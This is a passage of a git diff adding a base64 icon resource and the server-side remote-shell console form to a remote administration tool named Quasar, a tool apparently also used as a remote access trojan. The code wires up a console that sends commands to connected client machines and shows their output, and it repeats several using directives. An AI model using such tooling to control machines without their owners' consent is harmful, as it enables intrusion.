//////////7///v5+P/z6+f/z764/6qYkP/Ht7D/4NHK/9DAuf/Nvbb/2MjB/97Ox//fz8j/zr63/4R0 + bf8vHxj/Lx8Y/zoqI/88LCX/Lh4X/zMjHP+Pf3j/Tj43/zUlHv86KiP/LR0W/0Y2L9luXleH////Af// + /wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zgoIf81JB7/NiYf/zkpIv85KSL/IxMM/3xs + Zf/JubL/PS0m/y4eF/+pmZL/4tLL/8m5sv/Nvbb/zLy1/9fHwP+4qKH/IxQO/2RYU//59fP///////// + /////v7////////+/v////////////////////////////z5+P+4qaL/alhR/6KSi//j08z/1cW+/8i4 + sf/Lu7T/z7+4/9zMxf/l1c7/k4N8/ywcFf82Jh//Lh4X/yoaE/+JeXL/dGRd/ywcFf85KSL/Oioj/y0d + Fv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgoIf84KCH/OCgh/zkp + Iv85KSL/MyMc/ywcFf+omJH/3c3G/0k5Mv8fDwj/dmZf/+XVzv/Tw7z/y7u0/8u7tP/h0cr/inpy/y8f + GP/m4N3////////+/v///v7//////////////////////////////v7/////////////////+/n4/6eX + kP81JR7/dGRd/9nJwv/Vxb7/y7u0/8y8tf/Lu7T/1cW+/97Ox/9pWVL/GwsE/zkpIv96amP/eWli/zEh + Gv80JB3/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEh + Gv84KCH/OSki/zkpIv85KSL/Oioj/y4eF/81JR7/rZ2W/+vb1P+MfHX/Hg4H/y0dFv+Tg3z/5NTN/9rK + w//Ovbb/38/I/5iIgP9GNzD//vz7//////////////////////////////////////////////////// + //////////////79/f/m19D/hnVu/xUFAP91ZV7/2srD/9LCu//MvLX/zb22/829tv/ezsf/jHx1/zAg + Gf9yYlv/XU1G/y4eF/8yIhv/Oioj/zkpIv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af// + /wH///8BU0M8pz8vKO0xIRr/OCgh/zkpIv85KSL/OSki/zoqI/8yIhv/MCAZ/6KSi//j08z/1cW+/21d + Vv8bCwT/IhIL/2xcVf+4qKH/2MfA/+DQyf/dzMb/eGZf/7qxrf////////////////////////////// + ///////////////////////////////////u5eH/08G5/8W1rf80JB//JRUU/7Ghmv/dzcb/zLy1/829 + tv/Nvbb/38/I/419dv8vHxj/QTEq/zAgGf82Jh//OCgh/zgoIf85KSL/Oioj/y0dFv9GNi/Zbl5Xh/// + /wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/yUV + Dv9tXVb/3s7H/9zMxf/UxL3/iHhx/zUlIP8SAgD/JhYO/1VGQf99bWf/o5OM/7emn/+fj4j/493a//7+ + /v/////////////////////////////////////////////////z6uf/0L+4/9DAuf/Ht7D/OSki/x8P + CP+UhH3/3s7H/86+t//Lu7T/0sK7/93Nxv9kVE3/IREK/zYmH/83JyD/OCgh/zgoIf84KCH/OSki/zoq + I/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkp + Iv85KSL/OSki/zoqI/8xIRr/KxsU/52Nhv/j08z/28vE/+HRyv/Bsar/hXVu/0w8NP8jFhP/HQ4J/yER + Cv8yIhv/Nycf/zooIP+sop3////////////////////////////////////////////r4d3/x7Sr/8i3 + sP/n19D/loZ//yAQCf8rGxT/rZ2W/93Nxv/KurP/1cW+/+nZ0v+aioP/KhoT/zUlHv84KCH/Nycg/zgo + If84KCH/OSki/zkpIv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8v + KO0xIRr/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/Oysk/ywcFf80JB3/nY2G/97Ox//h0cr/4dHK/93N + xv/Rwbr/vayl/6STjP+Hd3H/cmJb/2NTTf9MOTL/dGNa/+3o5v////////7+///+/v///v7///////// + ///07+z/x7Wt/8e3r//n2dL/va2m/zwsJf8UBAD/Y1NM/9XFvv/YyMH/38/I/+HRyv+fj4j/NiYf/y4e + F/86KiP/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af// + /wH///8B////AVNDPKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/LBwV/y0d + Fv92Zl//wrKr/9zMxf/g0Mn/5NTN/+DQyf/by8T/3MzF/93Nxv/ZycL/1sa//8m4r//m29b///////// + /////v7//////////////v3/49fS/9fEvf/l1c7/taWd/z4uJ/8OAAD/U0M8/9PDvP/u3tf/3MzF/72t + pv9vX1j/LBwV/y0dFv86KiP/Nycg/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5e + V4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkp + Iv84KCH/OSki/zoqI/8wIBn/JRUO/z0tJv9zY1z/p5eQ/8q6s//czMX/5NTN/+DQyf/dzcb/3MzF/9vL + xP/SwLj/3c3G//z5+P/////////////+/v////////78/+rZ0f+/rab/e2xk/yUVEP8kFA3/fm5n/+DQ + yf/i0sv/rZ2W/3JiW/83JyD/JBQN/y8fGP85KSL/OCgh/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/zgoIf84KCH/OSki/zUlHv8sHBX/KBgR/zAgGf9KOjP/bl5X/49/ + eP+pmZL/v6+o/8q6s//Swrv/zr63/93MxP/89/X//////////////////////+Pc2f9xXlb/NyYg/yoa + E/9SQjz/kIB5/6yclf+Le3T/UkI7/zEhGv8oGBH/LR0W/zYmH/86KiP/OCgh/zgoIf84KCH/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVND + PKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zYm + H/80JB3/MSEa/yoaE/8rGxT/Nycg/z8vKP9OPjf/Xk5I/2NTS/9eTET/xLu3//////////////////// + /v+ShoH/EgAA/ysbFP9FNS7/X09I/04+N/82Jh//KRkS/y4eF/8zIxz/NSUe/zcnIP85KSL/MSEa/zIi + G/85KSL/Nycg/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af// + /wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/Oioj/zkpIv84KCH/NiYf/zUlHv8zIxz/MCAZ/y0dFv8tHRX/EAAA/3dp + ZP/49vX////////////v7Ov/YFBJ/yAOBv87LCX/NSUe/zIiG/81JR7/NSUe/zcnIP84KCH/OSki/zgo + If85KSL/MSEa/049Nf9OPTX/MCAZ/zkpIv84KCH/OSki/zkpIv85KSL/OSki/zkpIv86KiP/LR0W/0Y2 + L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zgo + If84KCH/Oiok/yMRCf9PQTr/6efm////////////4t7c/z4sJP8lFQ7/Oioj/zcnIP85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv84KCH/Oioj/xUEAf+rnpn/ppmU/xUEAf86KyP/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgo + If85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv86KiP/OCki/yYVDv8sGhP/PCwl/zoq + I/85KSL/OSki/zgoIf84KCH/OCgh/zoqI/8oGRH/NCEZ/9vV0v///////////8W9uf8pFw//MSEa/zkp + Iv84KCH/Nycg/zgoIf85KSL/OSki/zkpIv85KSL/Oioj/xwMB/8zHxj/7ero/+7q6f82Ixz/HQwJ/zss + JP86KiP/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af// + /wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Nycg/zoq + Iv9tXVj/Xk5I/zIiHP83JyD/OCgh/zgoIf85KSL/OCgh/zgoIf85KSL/NSUe/yQSCf+3rqv///////// + //+dko7/GQcA/zsrJP84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zAhGP8pFxL/s6el//// + ////////saek/yQSDv8yIhv/Oysk/zkpIv85KSL/OSki/zkpIv86KiP/LR0W/0Y2L9luXleH////Af// + /wH///8B////Af///wH///8BU0M8pz8vKOsxIRr/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv86KiP/OCgh/xsLBf8nHh3/7+bh/6efnP8GAAD/JxUQ/zsrJP85KSL/OSki/zkpIv85KSL/OCgh/zoq + I/8YBgD/kYR///7+/f/7+fn/f29p/xwLBP88LCX/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/y4e + F/85Jh//u7Ou//////////////////////+4r6v/PCoi/y4eF/86KiP/OSki/zkpIv85KSL/Oioj/y0d + Fv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVFBOqs+LifvMSEa/zgoIf85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/NiYf/zkpIf9tXlj/iXx4//z38//Pysj/e2xm/1pLRP8yIRr/Nycg/zkp + Iv85KSL/OSki/zkpIv86KiP/HQsE/3hoYP/6+fn/9fTz/1xNRv8jEgv/Oisk/zkpIv85KSL/OSki/zkp + Iv86KiP/Oioj/zsrJP8xIRr/MR8Y/52Qiv/7+vn////////////7+fn/m4+I/zAfF/8yIhv/Oioj/zkp + Iv85KSL/OSki/zoqI/8tHRb/RjYv221dVov///8B////Af///wH///8B////Af///wFTQzyrPy8o7zIi + G/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zIiG/88KiL/4NfT/////////v3///7+//// + //+bko7/JBIL/zQjHP85KSL/OSki/zkpIv85KSL/Oioj/yQTC/9ZS0X/9fT0//Hv7v9DMiv/JxcQ/zoq + I/85KSL/OSki/zoqI/85KSL/KxsU/yoZEv82Jh7/Oysl/zMjHP8aCAX/lIiD//79/P/9/fz/koeD/xkH + BP80JR3/Oysk/zkpIv85KSL/OSki/zkpIv87KyT/LR0W/0MzLNtsXFWL////Af///wH///8B////Af// + /wH///8BaFhRaUU1LscsHBX/Oioj/zgoIf85KSL/OSki/zgoIf85KSL/OSki/zkpIv83JyD/OSoj/1RF + Pv9pWlP/9/Hv/8O/vP9WR0D/Szs0/zQkHP84KCH/OSki/zkpIv85KSL/OSki/zkpIv8oFxD/QjEq//Hv + 7//j3tr/OSYe/ywcFv86KiP/OSki/zkpIv86KyT/Lh0V/1A/N/9WR0D/MB8X/zMjHP87KyT/KhoU/ygV + Dv/k3tv/5N7b/yoXEP8oGRP/Oysk/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/ygYEf9MPDW7f29oWf// + /wH///8B////Af///wH///8B////AYd3cBNrW1RdLx8Y7TAgGf84KCH/OSki/zkpIv84KCH/OCgh/zkp + Iv85KSL/OSki/zgoIf8lEw3/MB4c/+fg2/+noZ7/FQMA/y4dFv86KiP/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/LBwV/zglHf/s5uP/z8nG/y0bEv8yIhv/OSki/zkpIv87KyP/JhYQ/2dXUP/v6+n/+vn3/5iM + iP8qGBD/MiMc/zsrJP8bCwT/mImC/5WFf/8ZCQP/PCwl/zkpIv85KSL/OSki/zoqI/85KSL/Nycg/zAg + Gf81JR7nf29oUaOTjA3///8B////Af///wH///8B////Af///wH///8B////AV5OR1FDMyzRNSUe/zYm + H/83JyD/Oioj/zgoIf85KSL/OSki/zkpIv84KCH/Nycg/zgoIf9XSEL/T0A5/zUlHv85KSL/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zEhGv8tGxP/3tfV/7u1s/8gDQX/Nygh/zkpIv85KSL/PCwl/xYE + Af+qoZ7////////////X0s//Oygh/ycXEP86KiP/NCUe/0IxKf9DMiv/MiMc/zkpIv85KSL/OSki/zoq + I/83JyD/MyMc/zQkHf06KiPDWEhBQf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BZVVOGVJCO307KyTbMCAZ/zQkHf84KCH/OSki/zkpIv85KSL/OSki/zkpIv83KCH/JhYO/ywb + FP87KyT/OSki/zgoIf85KSL/OSki/zkpIv85KSL/OCgh/zgoIf82Jh//IxAI/8zGw/+uqKb/FgQA/zsr + JP85KSL/OSki/zorJP8nFg//ZlZQ/+Tg3v/v7ez/n5WQ/yoZEf80JB3/OSki/zopIv8wIBr/MCAZ/zoq + I/84KCH/OSki/zkpIv8zIxz/Lh4X/z4uJ9deTkdzX09IE////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BUEA5L1lJQps4KCHtNSUe/zYmH/85KSL/OCgh/zgo + If84KCH/OSki/zsrJP86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/xsI + Av+yqqf/ppqU/xoJAv87KyT/OSki/zkpIv85KSL/Oysk/y0cFP9SQjv/WUlD/y8fF/8zIxz/Oysk/zkp + Iv85KSL/OSki/zkpIv84KCH/OSki/zYmH/8zIxz/OSki52RUTZFeTkcn////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wGBcWoFTj43SUc3 + MK80JB31Lx8Y/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zsrJP8dDAX/npGL/5OFfv8gDwj/Oysk/zgoIf85KSL/OSki/zoqI/83KCH/IxML/yMR + Cf8xIRn/PCwl/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/y4eF/8yIhv1Tz84o1tLRD+VhX4F////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wFPPzgJVUU+X0g4MdUwIBn/MSEa/zsrJP85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/IxMM/5B/eP+Ccmv/JRYP/zoqI/84KCH/OSki/zkp + Iv85KSL/OSki/zkqI/86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/NSUe/zAgGf9JOTLPXExFV19P + SAf///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIbTj43dz0tJu0vHxj/OCgh/zkp + Iv85KSL/OSki/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/ygYEf96amP/bl5X/yoa + E/85KSL/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv84KCH/Lh4X/zsr + JN1RQTpzeGhhE////wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVRE + PQOIeHEvSjozozUlHvs0JB3/NiYf/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoq + I/8wIBn/XU1G/1FBOv8yIhv/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zcnIP84KCH/OCgh/zcn + IP81JR7/NCQd+VtLRJ1dTUYjWkpDA////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AVFBOgVPPzhJQDApuzYmH/8zIxz/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zsrJP83JyD/OSki/zcnIP85KSL/OSki/zkpIv85KSL/OCgh/zgo + If85KSL/Nycg/zMjHP81JR77Pi8ot1hIQUNmVk8D////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVlJQgtuXldtNSUe1zEh + Gv8xIRr/OCgh/zoqI/85KSL/OSki/zkpIv85KSL/OSki/zoqI/82Jh//NiYf/zgoIf84KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv81JR7/NiYf/zIiG/9HNzDTWkpDX0U1LgX///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AVNDPCE9LSaPPS0m5TMjHP83JyD/Oioj/zoqI/85KSL/OSki/zgoIf85KSL/OSki/zgo + If84KCH/OSki/zgoIf85KSL/Oioj/zoqI/81JR7/MiIb/zoqI9tAMCqHcmJbHf///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWhYUTtGNjCrNCQd8zEhGv81JR7/Oioj/zkp + Iv83JyD/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/Oysk/zMjHP8tHRb/OCgh71dHQKNJOTIt////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BXU1GBz4u + J09AMCm9NSUe/zIiG/84KCH/OSki/zgoIf85KSL/OSki/zgoIf86KiP/OSki/zEhGv8zIxz/RDQtt0o6 + M0l5aWIF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BXk5HE2paU2U0JB3bKBgR/zMjHP85KSL/OCgh/zgoIf85KSL/MiIb/y4e + F/83JyDZdGRdX25eVw////8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BVUU+I2BQSY04KCHzLh4X/zoq + I/85KSL/MSEa/zkpIu9FNS5/SDgxH////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BYlJLOUU1Lq8yIhvXMiIb104+N6lqWlM1////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== + + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteShell.Designer.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteShell.Designer.cs new file mode 100755 index 0000000..ae2f3ac --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteShell.Designer.cs @@ -0,0 +1,110 @@ +namespace Quasar.Server.Forms +{ + partial class FrmRemoteShell + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmRemoteShell)); + this.txtConsoleOutput = new System.Windows.Forms.RichTextBox(); + this.txtConsoleInput = new System.Windows.Forms.TextBox(); + this.tableLayoutPanel = new System.Windows.Forms.TableLayoutPanel(); + this.tableLayoutPanel.SuspendLayout(); + this.SuspendLayout(); + // + // txtConsoleOutput + // + this.txtConsoleOutput.BackColor = System.Drawing.Color.Black; + this.txtConsoleOutput.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.txtConsoleOutput.Dock = System.Windows.Forms.DockStyle.Fill; + this.txtConsoleOutput.Font = new System.Drawing.Font("Consolas", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.txtConsoleOutput.ForeColor = System.Drawing.Color.WhiteSmoke; + this.txtConsoleOutput.Location = new System.Drawing.Point(3, 3); + this.txtConsoleOutput.Name = "txtConsoleOutput"; + this.txtConsoleOutput.ReadOnly = true; + this.txtConsoleOutput.ScrollBars = System.Windows.Forms.RichTextBoxScrollBars.Vertical; + this.txtConsoleOutput.Size = new System.Drawing.Size(631, 297); + this.txtConsoleOutput.TabIndex = 1; + this.txtConsoleOutput.Text = ""; + this.txtConsoleOutput.TextChanged += new System.EventHandler(this.txtConsoleOutput_TextChanged); + this.txtConsoleOutput.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.txtConsoleOutput_KeyPress); + // + // txtConsoleInput + // + this.txtConsoleInput.BackColor = System.Drawing.Color.Black; + this.txtConsoleInput.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.txtConsoleInput.Dock = System.Windows.Forms.DockStyle.Fill; + this.txtConsoleInput.Font = new System.Drawing.Font("Consolas", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.txtConsoleInput.ForeColor = System.Drawing.Color.WhiteSmoke; + this.txtConsoleInput.Location = new System.Drawing.Point(3, 306); + this.txtConsoleInput.MaxLength = 200; + this.txtConsoleInput.Name = "txtConsoleInput"; + this.txtConsoleInput.Size = new System.Drawing.Size(631, 16); + this.txtConsoleInput.TabIndex = 0; + this.txtConsoleInput.KeyDown += new System.Windows.Forms.KeyEventHandler(this.txtConsoleInput_KeyDown); + // + // tableLayoutPanel + // + this.tableLayoutPanel.BackColor = System.Drawing.Color.Black; + this.tableLayoutPanel.ColumnCount = 1; + this.tableLayoutPanel.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 100F)); + this.tableLayoutPanel.Controls.Add(this.txtConsoleOutput, 0, 0); + this.tableLayoutPanel.Controls.Add(this.txtConsoleInput, 0, 1); + this.tableLayoutPanel.Dock = System.Windows.Forms.DockStyle.Fill; + this.tableLayoutPanel.Location = new System.Drawing.Point(0, 0); + this.tableLayoutPanel.Name = "tableLayoutPanel"; + this.tableLayoutPanel.RowCount = 2; + this.tableLayoutPanel.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 100F)); + this.tableLayoutPanel.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 20F)); + this.tableLayoutPanel.Size = new System.Drawing.Size(637, 323); + this.tableLayoutPanel.TabIndex = 2; + // + // FrmRemoteShell + // + this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; + this.ClientSize = new System.Drawing.Size(637, 323); + this.Controls.Add(this.tableLayoutPanel); + this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Name = "FrmRemoteShell"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Remote Shell []"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmRemoteShell_FormClosing); + this.Load += new System.EventHandler(this.FrmRemoteShell_Load); + this.tableLayoutPanel.ResumeLayout(false); + this.tableLayoutPanel.PerformLayout(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.TextBox txtConsoleInput; + private System.Windows.Forms.RichTextBox txtConsoleOutput; + private System.Windows.Forms.TableLayoutPanel tableLayoutPanel; + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteShell.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteShell.cs new file mode 100755 index 0000000..46b2a2f --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteShell.cs @@ -0,0 +1,197 @@ +using System; +using System.Collections.Generic; +using System.Drawing; +using System.Windows.Forms; +using Quasar.Common.Messages; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Helper; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Messages; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Networking; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Utilities; + +namespace Quasar.Server.Forms +{ + public partial class FrmRemoteShell : Form + { + /// + /// The client which can be used for the remote shell. + /// + private readonly Client _connectClient; + + /// + /// The message handler for handling the communication with the client. + /// + public readonly RemoteShellHandler RemoteShellHandler; + + /// + /// Holds the opened remote shell form for each client. + /// + private static readonly Dictionary OpenedForms = new Dictionary(); + + /// + /// Creates a new remote shell form for the client or gets the current open form, if there exists one already. + /// + /// The client used for the remote shell form. + /// + /// Returns a new remote shell form for the client if there is none currently open, otherwise creates a new one. + /// + public static FrmRemoteShell CreateNewOrGetExisting(Client client) + { + if (OpenedForms.ContainsKey(client)) + { + return OpenedForms[client]; + } + FrmRemoteShell f = new FrmRemoteShell(client); + f.Disposed += (sender, args) => OpenedForms.Remove(client); + OpenedForms.Add(client, f); + return f; + } + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The client used for the remote shell form. + public FrmRemoteShell(Client client) + { + _connectClient = client; + RemoteShellHandler = new RemoteShellHandler(client); + + RegisterMessageHandler(); + InitializeComponent(); + + txtConsoleOutput.AppendText(">> Type 'exit' to close this session" + Environment.NewLine); + } + + /// + /// Registers the remote shell message handler for client communication. + /// + private void RegisterMessageHandler() + { + _connectClient.ClientState += ClientDisconnected; + RemoteShellHandler.ProgressChanged += CommandOutput; + RemoteShellHandler.CommandError += CommandError; + MessageHandler.Register(RemoteShellHandler); + } + + /// + /// Unregisters the remote shell message handler. + /// + private void UnregisterMessageHandler() + { + MessageHandler.Unregister(RemoteShellHandler); + RemoteShellHandler.ProgressChanged -= CommandOutput; + RemoteShellHandler.CommandError -= CommandError; + _connectClient.ClientState -= ClientDisconnected; + } + + /// + /// Called whenever the remote shell writes to stdout. + /// + /// The message processor which raised the event. + /// The output to write. + private void CommandOutput(object sender, string output) + { + txtConsoleOutput.SelectionColor = Color.WhiteSmoke; + txtConsoleOutput.AppendText(output); + } + + /// + /// Called whenever the remote shell writes to stderr. + /// + /// The message processor which raised the event. + /// The error output to write. + private void CommandError(object sender, string output) + { + txtConsoleOutput.SelectionColor = Color.Red; + txtConsoleOutput.AppendText(output); + } + + /// + /// Called whenever a client disconnects. + /// + /// The client which disconnected. + /// True if the client connected, false if disconnected + private void ClientDisconnected(Client client, bool connected) + { + if (!connected) + { + this.Invoke((MethodInvoker)this.Close); + } + } + + private void FrmRemoteShell_Load(object sender, EventArgs e) + { + if (Settings.DarkMode) { DarkModeManager.ApplyDarkMode(this); } + 